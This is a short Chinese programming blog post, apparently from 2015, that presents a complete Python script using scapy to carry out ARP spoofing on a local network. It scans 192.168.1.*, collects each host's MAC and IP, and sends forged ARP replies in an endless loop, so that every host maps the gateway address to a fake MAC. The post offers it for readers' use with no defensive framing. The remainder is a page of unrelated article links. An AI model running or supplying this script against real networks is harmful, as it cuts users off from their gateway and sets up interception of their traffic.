python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python获取文件所在目录和文件名的方法
Jan 12 Python
python中的set实现不重复的排序原理
Jan 24 Python
详解Python 切片语法
Jun 10 Python
Python Numpy计算各类距离的方法
Jul 05 Python
浅谈Pytorch torch.optim优化器个性化的使用
Feb 20 Python
django 取消csrf限制的实例
Mar 13 Python
Python3如何判断三角形的类型
Apr 12 Python
解决Python3.7.0 SSL低版本导致Pip无法使用问题
Sep 03 Python
Python字符串三种格式化输出
Sep 17 Python
python如何获得list或numpy数组中最大元素对应的索引
Nov 16 Python
python批量合成bilibili的m4s缓存文件为MP4格式 ver2.5
Dec 01 Python
Python3压缩和解压缩实现代码
Mar 01 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
PHP MYSQL乱码问题,使用SET NAMES utf8校正
2009/11/30 PHP
php比较多维数组中值的大小排序实现代码
2012/09/08 PHP
使用PHP备份MYSQL数据的多种方法
2014/01/15 PHP
php类的扩展和继承用法实例
2015/06/20 PHP
PHP+Redis 消息队列 实现高并发下注册人数统计的实例
2018/01/29 PHP
PHP的PDO预定义常量讲解
2019/01/24 PHP
php设计模式之备忘模式分析【星际争霸游戏案例】
2020/03/24 PHP
Dom加载让图片加载完再执行的脚本代码
2008/05/15 Javascript
Google 静态地图API实现代码
2010/11/19 Javascript
node.js中的fs.existsSync方法使用说明
2014/12/17 Javascript
js根据鼠标移动速度背景图片自动旋转的方法
2015/02/28 Javascript
Node.js巧妙实现Web应用代码热更新
2015/10/22 Javascript
总结JavaScript中布尔操作符||与&&的使用技巧
2015/11/17 Javascript
js遍历map javaScript遍历map的简单实现
2016/08/26 Javascript
基于JavaScript实现带缩略图的轮播效果
2017/01/12 Javascript
进阶之初探nodeJS
2017/01/24 NodeJs
Bootstrap媒体对象学习使用
2017/03/07 Javascript
Vue-Router的使用方法
2018/09/05 Javascript
如何在微信小程序中使用骨架屏的步骤
2020/06/12 Javascript
selenium python浏览器多窗口处理代码示例
2018/01/15 Python
Python Unittest自动化单元测试框架详解
2018/04/04 Python
浅析PyTorch中nn.Linear的使用
2019/08/18 Python
Python变量格式化输出实现原理解析
2020/08/06 Python
python用分数表示矩阵的方法实例
2021/01/11 Python
SCDKey德国:全球领先的数字游戏市场
2019/04/09 全球购物
意大利网上购书网站:Libraccio.it
2021/02/03 全球购物
Java的五个基础面试题
2016/02/26 面试题
八皇后问题,输出了所有情况,不过有些结果只是旋转了90度
2016/08/15 面试题
高中化学教学反思
2014/01/13 职场文书
班级入场式解说词
2014/02/01 职场文书
委托公证书范本
2014/04/03 职场文书
大型活动组织方案
2014/05/10 职场文书
2016年五一国际劳动节活动总结
2016/04/06 职场文书
承诺书应该怎么写?
2019/09/10 职场文书
MySQL注入基础练习
2021/05/30 MySQL
Python中json.load()和json.loads()有哪些区别
2021/06/07 Python